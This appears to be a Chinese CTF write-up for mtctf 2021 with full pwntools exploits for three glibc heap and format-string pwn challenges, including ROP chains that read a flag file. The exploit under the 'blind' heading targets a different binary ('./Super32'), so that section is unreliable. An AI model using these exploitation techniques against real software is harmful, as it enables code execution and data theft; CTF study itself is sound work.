0%

mtctf_2021

还是菜如狗。。。

babyfocal

简述

0x10字节的堆溢出,chunk size 任意,没有 show 方法。没开 PIE。

预期解应该是堆喷,但这题可以泄漏地址。

思路

利用堆溢出修改fastbin fd,然后分配chunk到bss上(bss上有size),修改指针和size,实现任意地址写。

然后多次edit在bss上布置fake chunk,free进unsortedbin,爆破_IO_2_1_stdout_从而泄漏libc,改free_hook在bss上orw

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
'''
0x10字节的堆溢出,chunk size任意
没有 show 方法,
'''
from pwn import *

libc = ELF("/lib/x86_64-linux-gnu/libc-2.31.so")
context.log_level = "debug"
io = process("./baby_focal")
#io = remote("115.28.187.226", 32435)

def add(idx, size):
io.sendlineafter(">> ", str(1))
io.sendlineafter("index >> ", str(idx))
io.sendlineafter("size >> ", str(size))

def edit(idx, content):
io.sendlineafter(">> ", str(2))
io.sendlineafter("index >> ", str(idx))
io.sendafter("content >> ", content)

def delete(idx):
io.sendlineafter(">> ", str(3))
io.sendlineafter("index >> ", str(idx))


io.sendlineafter("input your name: ", "jkilopu")

chunk_base = 0x404060

for i in range(7):
add(0, 0x78)
delete(0)

add(0, 0x78)
add(1, 0x78)
delete(1)
edit(0, b'a' * 0x78 + p64(0x81) + p64(chunk_base))
add(2, 0x78)
add(3, 0x78)

edit(3, p64(chunk_base) + p64(0x11111111) + b'\n')
edit(1, p64(chunk_base) + p64(0x11111111) + p64(chunk_base + 0x10 + 0x10) + p64(0x91) + b'b' * 0x80 + p64(0xdeadbeef) + p64(0x21) + b'c' * 0x10 + p64(0xdeadbeef) + p64(0x21) + b'\n')

for i in range(7):
add(3, 0x88)
delete(3)
delete(1)

edit(0, p64(chunk_base) + p64(0x11111111) + p64(chunk_base + 0x20) + p64(2) + b'\n')
edit(1, p16(0xc6a0))
edit(0, p64(chunk_base) + p64(0x11111111) + p64(chunk_base + 0x28) + p64(8) + b'\n')
edit(1, p64(0x8 * 4 + 1))

edit(2, p64(0xFBAD1887) + p64(0) * 3 + p8(0x00))
io.recv(8)
libc.address = u64(io.recv(8)) - 0x1eb980
print("!!!!!!!!!!!!!!!! libc.address = " + hex(libc.address))

rdx_rdi_call = libc.address + 0x154930
rsp_rdx_ret = libc.address + 0x580DD
edit(0, p64(chunk_base) + p64(0x11111111) + p64(libc.symbols["__free_hook"]) + p64(8) + b'\n')
edit(1, p64(rdx_rdi_call))

p_rdi = libc.address + 0x26b72
p_rsi = libc.address + 0x27529
pp_rdx = libc.address + 0x162866
flag_str_addr = chunk_base + 0x28
orw_payload = p64(p_rdi) * 2 + p64(flag_str_addr) + p64(p_rsi) + p64(0) + p64(libc.symbols["open"])
orw_payload += p64(p_rdi) + p64(3) + p64(p_rsi) + p64(chunk_base + 0x200) + p64(pp_rdx) + p64(0x40) + p64(0x0) + p64(libc.symbols["read"])
orw_payload += p64(p_rdi) + p64(1) + p64(p_rsi) + p64(chunk_base + 0x200) + p64(pp_rdx) + p64(0x40) + p64(0x0) + p64(libc.symbols["write"])

edit(0, ((p64(chunk_base) + p64(chunk_base)) * 2 + p64(rsp_rdx_ret) + b"flag.txt\x00").ljust(0xa0, b'\x00') + p64(chunk_base + 0xa8) + orw_payload + b'\n')

delete(0)

'''
[*] Switching to interactive mode
[DEBUG] Received 0x4d bytes:
00000000 66 72 65 65 3a 20 5b 30 78 36 30 5d 0a 66 6c 61 │free│: [0│x60]│·fla│
00000010 67 7b 62 36 37 37 35 33 30 37 2d 32 66 63 66 2d │g{b6│7753│07-2│fcf-│
00000020 34 64 34 37 2d 61 66 32 39 2d 64 31 30 65 33 30 │4d47│-af2│9-d1│0e30│
00000030 35 65 30 33 63 65 7d 0a 00 00 00 00 00 00 00 00 │5e03│ce}·│····│····│
00000040 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│·│
0000004d
free: [0x60]
flag{b6775307-2fcf-4d47-af29-d10e305e03ce}
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00[*] Got EOF while reading in interactive
'''

io.interactive()

blind

这题把我看傻了。

简述

分两个阶段,利用格式化字符串漏洞和栈溢出。程序开头就 close(1) 关闭了标准输出,因此没办法泄漏地址。

开头格式化字符串不知道怎么利用,一开始我想着把栈上的局部变量覆盖为 0,但一直找不到指针;然后想多次利用 %$n,行不通。(一个发现是 printf 的输出长度和 %$n 跳过参数的个数都是有限的,失败的话可以看看 errno)。

赛后

看了别人的 writeup,只放了个 exp,研究了一下动态链接器的工作流程,总算弄明白了。(但 libc 该怎么猜啊)

调试

在 main 函数的 call printf 处下断点,看看此时的栈:

pwndbg> stack 30

00:0000│ rsp 0x7fffffffdc30 —▸ 0x7fffffffdd30 ◂— 0x1
01:0008│ 0x7fffffffdc38 ◂— 0x400000000
02:0010│ rbp 0x7fffffffdc40 ◂— 0x0
03:0018│ 0x7fffffffdc48 —▸ 0x7ffff7de70b3 (__libc_start_main+243) ◂— mov edi, eax
04:0020│ 0x7fffffffdc50 —▸ 0x7ffff7ffc5c0 (_rtld_global_ro) ◂— 0x5081200000000
05:0028│ 0x7fffffffdc58 —▸ 0x7fffffffdd38 —▸ 0x7fffffffe0fd ◂— ‘./blind’
06:0030│ 0x7fffffffdc60 ◂— 0x100000000
07:0038│ 0x7fffffffdc68 —▸ 0x400935 ◂— push rbp
08:0040│ 0x7fffffffdc70 —▸ 0x4009e0 ◂— push r15
09:0048│ 0x7fffffffdc78 ◂— 0x42f0262f13833962
0a:0050│ 0x7fffffffdc80 —▸ 0x400700 ◂— xor ebp, ebp
0b:0058│ 0x7fffffffdc88 —▸ 0x7fffffffdd30 ◂— 0x1
0c:0060│ 0x7fffffffdc90 ◂— 0x0
0d:0068│ 0x7fffffffdc98 ◂— 0x0
0e:0070│ 0x7fffffffdca0 ◂— 0xbd0fd9d0ab233962
0f:0078│ 0x7fffffffdca8 ◂— 0xbd0fc993f34d3962
10:0080│ 0x7fffffffdcb0 ◂— 0x0
… ↓ 2 skipped
13:0098│ 0x7fffffffdcc8 ◂— 0x1
14:00a0│ 0x7fffffffdcd0 —▸ 0x7fffffffdd38 —▸ 0x7fffffffe0fd ◂— ‘./blind’
15:00a8│ 0x7fffffffdcd8 —▸ 0x7fffffffdd48 —▸ 0x7fffffffe140 ◂— ‘SHELL=/bin/bash’
16:00b0│ 0x7fffffffdce0 —▸ 0x7ffff7ffe190 ◂— 0x0
17:00b8│ 0x7fffffffdce8 ◂— 0x0
18:00c0│ 0x7fffffffdcf0 ◂— 0x0
19:00c8│ 0x7fffffffdcf8 —▸ 0x400700 ◂— xor ebp, ebp
1a:00d0│ 0x7fffffffdd00 —▸ 0x7fffffffdd30 ◂— 0x1
1b:00d8│ 0x7fffffffdd08 ◂— 0x0
1c:00e0│ 0x7fffffffdd10 ◂— 0x0
1d:00e8│ 0x7fffffffdd18 —▸ 0x400729 ◂— hlt

可以推测,0x7fffffffdc48 之后的空间是调用 main 函数前的被调用函数的栈帧。

利用 printf 的 %n,可以向这个栈帧上的地址处赋值。问题是哪些指针是有用的呢?

ELF 加载

回忆一下 linux ELF 的加载流程:操作系统先将动态链接器映射到内存空间,然后执行流跳转到动态链接器的 _start,其 x86_64 的代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
/* Initial entry point code for the dynamic linker.
The C function `_dl_start' is the real entry point;
its return value is the user program's entry point. */
#define RTLD_START asm ("\n\
.text\n\
▸ .align 16\n\
.globl _start\n\
.globl _dl_start_user\n\
_start:\n\
▸ movq %rsp, %rdi\n\
▸ call _dl_start\n\
_dl_start_user:\n\
▸ # Save the user entry point address in %r12.\n\
▸ movq %rax, %r12\n\
▸ # See if we were run as a command with the executable file\n\
▸ # name as an extra leading argument.\n\
▸ movl _dl_skip_args(%rip), %eax\n\
▸ # Pop the original argument count.\n\
▸ popq %rdx\n\
▸ # Adjust the stack pointer to skip _dl_skip_args words.\n\
▸ leaq (%rsp,%rax,8), %rsp\n\
▸ # Subtract _dl_skip_args from argc.\n\
▸ subl %eax, %edx\n\
▸ # Push argc back on the stack.\n\
▸ pushq %rdx\n\
▸ # Call _dl_init (struct link_map *main_map, int argc, char **argv, char **env)\n\
▸ # argc -> rsi\n\
▸ movq %rdx, %rsi\n\
▸ # Save %rsp value in %r13.\n\
▸ movq %rsp, %r13\n\
▸ # And align stack for the _dl_init call. \n\
▸ andq $-16, %rsp\n\
▸ # _dl_loaded -> rdi\n\
▸ movq _rtld_local(%rip), %rdi\n\
▸ # env -> rcx\n\
▸ leaq 16(%r13,%rdx,8), %rcx\n\
▸ # argv -> rdx\n\
▸ leaq 8(%r13), %rdx\n\
▸ # Clear %rbp to mark outermost frame obviously even for constructors.\n\
▸ xorl %ebp, %ebp\n\
▸ # Call the function to run the initializers.\n\
▸ call _dl_init\n\
▸ # Pass our finalizer function to the user in %rdx, as per ELF ABI.\n\
▸ leaq _dl_fini(%rip), %rdx\n\
▸ # And make sure %rsp points to argc stored on the stack.\n\
▸ movq %r13, %rsp\n\
▸ # Jump to the user's entry point.\n\
▸ jmp *%r12\n\
.previous\n\
");

start 先调用 _dl_start,它会将用户程序加载到内存空间,并返回用户程序的入口点。然后调用 _dl_init,其函数原型如下:

1
void _dl_init (struct link_map *main_map, int argc, char **argv, char **env);

_dl_init 会调用 .init_array 中的函数指针,然后调用一些构造器(应该是 C++ 才会用到)。但这不是我们关注的重点。

_dl_init 的第一个参数是 main_map,且函数内部多次使用了这个变量。 那么 main_map 的地址可能就会留在栈帧上

调试时发现了一个有趣的地址 0x7ffff7ffe190:看看 vmmap,发现它在动态链接器分配空间的下方:

0x7ffff7fcf000 0x7ffff7fd0000 r–p 1000 0 /usr/lib/x86_64-linux-gnu/ld-2.31.so
0x7ffff7fd0000 0x7ffff7ff3000 r-xp 23000 1000 /usr/lib/x86_64-linux-gnu/ld-2.31.so
0x7ffff7ff3000 0x7ffff7ffb000 r–p 8000 24000 /usr/lib/x86_64-linux-gnu/ld-2.31.so
0x7ffff7ffc000 0x7ffff7ffd000 r–p 1000 2c000 /usr/lib/x86_64-linux-gnu/ld-2.31.so
0x7ffff7ffd000 0x7ffff7ffe000 rw-p 1000 2d000 /usr/lib/x86_64-linux-gnu/ld-2.31.so
0x7ffff7ffe000 0x7ffff7fff000 rw-p 1000 0

实际上 0x7ffff7ffe000 ~ 0x7ffff7fff000 是动态链接器使用的 heap 空间。据此猜测 0x7ffff7ffe190 可能就是 main_map 的地址。

在 gdb 中打印其部分结构如下:

pwndbg> p *(struct link_map *)0x00007ffff7ffe190
$1 = {
l_addr = 0,
l_name = 0x7ffff7ffe730 “”,
l_ld = 0x600e28,
l_next = 0x7ffff7ffe740,
l_prev = 0x0,
l_real = 0x7ffff7ffe190,
l_ns = 0,
l_libname = 0x7ffff7ffe718,

}

也就是说我们可以修改其 l_addr 成员的值,其含义如下:

1
ElfW(Addr) l_addr;▸ ▸       /* Difference between the address in the ELF file and the addresses in memory.  */

也就是说 l_addr 的值是 PIE 地址。那么该怎么利用呢?

_dl_fini

我们知道 exit 会调用 _dl_fini,而 _dl_fini 会调用 .fini_array 中的函数指针,对应源代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
...
/* First see whether an array is given. */
if (l->l_info[DT_FINI_ARRAY] != NULL)
{
ElfW(Addr) *array =
(ElfW(Addr) *) (l->l_addr
+ l->l_info[DT_FINI_ARRAY]->d_un.d_ptr);
unsigned int i = (l->l_info[DT_FINI_ARRAYSZ]->d_un.d_val
/ sizeof (ElfW(Addr)));
while (i-- > 0)
((fini_t) array[i]) ();
}
...

计算 .fini.array 的地址时使用 l_addr 加上 ELF 中 .fini.array 的偏移。

利用

经过上述分析可以得出下面的利用方案:利用格式化字符串漏洞修改 main_map 的 l_addr 成员,使 _dl_fini 中计算 的 .fini.array 地址指向 fake .fini.array,从而控制程序的执行流程。

下一个问题是如何 getshell。前面提到过本题不能泄露地址,因而不能覆盖 got 表为 libc 中的 system 函数。我偶然中发现了一个比较 tricky 但又非常好用的技巧,可以在 No PIE、got 表可写的情况下 getshell。放在下面的资料中了。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
from pwn import *

libc = ELF("./libc-2.32.so")
io = process("./Super32")

def encode(code):
io.sendafter(">> ", '1')
io.sendlineafter("Plz input ur code:", code)

def decode_exist():
io.sendafter(">> ", '2')
io.sendafter("1.Get code from encode list.\n2.Input ur code.", '1')

def decode_input(code):
io.sendafter(">> ", '2')
io.sendafter("1.Get code from encode list.\n2.Input ur code.", '2')
io.sendlineafter("Plz input ur code:", code)

def show():
io.sendafter(">> ", '3')

def delete():
io.sendafter(">> ", '4')

# 将要存储payload_1_key的free chunk
encode('N' * 40)
decode_exist()
delete()

# 将要存储payload_2_key的free chunk
encode('N' * 120)
decode_exist()
delete()

# 泄漏堆地址,同时保证最后encode_list和decode_list为空
decode_input("AA")
delete()
encode('')
show()
io.recvuntil("1.")
heap_addr = u64(io.recvuntil('\n', drop=True).ljust(8, b'\x00')) << 12
print("heap_addr = " + hex(heap_addr))
decode_exist()
delete()

# free prev进unsortedbin
for i in range(8):
decode_input('B' * 0xe0)
encode('C' * 90) # victim
for i in range(8):
delete()

# free victim,victim和prev合并
decode_exist()
decode_exist()
delete()

# 申请合并的big chunk,修改victim的size
encode(b'1' * 0x98 + p64(0x91)) # 实际上会修改为0x2091
decode_exist()

# 先申请chunk,一方面要绕过free victim的检查,另一方面形成overlap
for i in range(0x38):
encode('D' * 70)
encode('K' * 80)
encode('ZZ')
delete() # free victim

# 分割victim,泄漏libc地址
encode('AA')
show()
io.recvuntil("59.")
io.recvuntil("ctf!")
libc.address = u64(io.recvuntil('\n', drop=True).ljust(8, b'\x00')) - 0x1e3ca0 - 0x600
print("libc.address = " + hex(libc.address))

# 获得encode后的字符串,以便之后decode_input使用
# 此payload修改tcache fd
ld_addr = libc.address + 0x1ec000
print("ld_addr = " + hex(ld_addr))
#elf_link_map_addr = ld_addr + 0x301e0
#rtld_lock_addr = ld_addr + 0x2f040 + 0xf88
encode(b'1' * 0x20 + p64((libc.symbols["__free_hook"] - 0x80) ^ (heap_addr >> 12)))
show()
io.recvuntil("60.")
payload_1_key = io.recvuntil("tf!", drop=True)
print(b"payload_1_key = " + payload_1_key)
decode_exist()
delete()

# 此payload修改__free_hook
one_gadget_addr = libc.address + 0xdf54f
encode(b'2' * 0x70 + p64(one_gadget_addr))
show()
io.recvuntil("60.")
payload_2_key = io.recvuntil("tf!", drop=True)
print(b"payload_2_key = " + payload_2_key)
decode_exist()
delete()

decode_exist()
delete()

# 写两个payload
encode('G' * 80)
decode_input(payload_1_key)

encode('G' * 70)
decode_input(payload_2_key)
delete()

io.interactive()

资料

  1. Understanding the Loader - Part1 - How does an executable get loaded to memory? 较详细地介绍了动态链接器加载用户程序的过程。
  2. Finding Function’s Load Address 学到了如何找到用户程序的 link_map。
  3. static 和 attribute(“hidden”) 的区别
  4. From read@GLIBC to RCE in X86_64

阅读 glibc 源码

一大堆奇奇怪怪的宏,还不知道怎么搞清楚哪些宏定义了哪些没有。

最烦的是 GL 宏,还有 SHARED。(shared 大概是作为动态库编译时才会定义吧)

比赛时我居然忘记先搞清楚远程 libc 的版本,一直当成 2.31 来做。结束后看 writeup 才知道远程是 2.23。真是蠢到爆了。

简述

漏洞为 off-by-null,保护全开,seccomp 禁了 execve。

add 的 size 范围为 [0x20, 0x70]。

有两个 gift 函数:一个在 __free_hook 上方布置 0x7f,另一个先后 malloc 0xf8、0x500,限制了使用次数。(show 也限制了)

利用

2.31 的利用我没想出来(主要是 tcache 和向前合并时的检查很烦)。

2.23 下,联系两个 gift 就可以想出利用方法:向前合并形成 overlap,然后分配 fastbin chunk 到 __free_hook 处,最后 在 __free_hook 附近 ROP。(也可以调用 mprotect,布置 shellcode)

技巧

因为 add 的 size 限制,ROP 链不能太长,下面的方法可以缩短 ROP 链:

  1. setcontext 时就把参数布置好
  2. 使用 sendfile 替代 read 和 write。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
from pwn import *

libc = ELF("./libc-2.23.so")
io = process("./zlink")

def add(idx, size, content):
io.sendafter("Your choice :", '1')
io.sendafter("Index:", str(idx))
io.sendafter("Size of Heap : ", str(size))
io.sendafter("Content?:", content)

def delete(idx):
io.sendafter("Your choice :", '2')
io.sendafter("Index:", str(idx))

def gift_2_malloc():
io.sendafter("Your choice :", '4')

def show(idx):
io.sendafter("Your choice :", '5')
io.sendafter("Index :", str(idx))

def gift_fastbin(idx, content):
io.sendafter("Your choice :", '6')
io.sendafter("Index:", str(idx))
io.sendafter("Content?:", content)


add(0, 0x28, "aaaa")
add(1, 0x20, "bbbb")
add(2, 0x68, "cccc")
delete(0)
delete(2)
gift_2_malloc()

add(2, 0x68, "\x01")
show(2)
io.recvuntil("Content : ")
libc.address = u64(io.recvuntil('\n', drop=True).ljust(8, b'\x00')) - 0x3c4b01
print("libc.address = " + hex(libc.address))

delete(2)
add(10, 0x68, b'd' * 0x60 + p8(0x30 + 0x30 + 0x70))
delete(14)

delete(10)
add(0, 0x70, b'e' * 0x50 + p64(0xdeadbeef) + p64(0x71) + p64(libc.symbols["__free_hook"] - 0x18))

p_rdi = libc.address + 0x21112
p_rsi = libc.address + 0x202f8
p_rdx = libc.address + 0x1b92
p_rcx = libc.address + 0x119563
orw_payload = p64(libc.symbols["open"])
orw_payload += p64(p_rdi) + p64(1) + p64(p_rsi) + p64(3) + p64(p_rdx) + p64(0) + p64(libc.symbols["sendfile"])
print("orw_payload len = " + hex(len(orw_payload)))

gift_fastbin(0, b'f' * 0x10)
add(5, 0x68, p64(0xdeadbeef) * 2)
add(6, 0x68, p64(0xdeadbeef) + p64(libc.symbols["setcontext"] + 53) + orw_payload + b"./flag.txt".ljust(0x10, b'\x00'))

ret = libc.address + 0x937
add(7, 0x50, p64(0xdeadbeef))
add(8, 0x70, (p64(0xdeadbeef) + p64(libc.symbols["__free_hook"] + 0x8 + len(orw_payload)) + p64(0)).ljust(0xa0 - 0x60) + p64(libc.symbols["__free_hook"] + 0x8) + p64(ret))
delete(7)

io.interactive()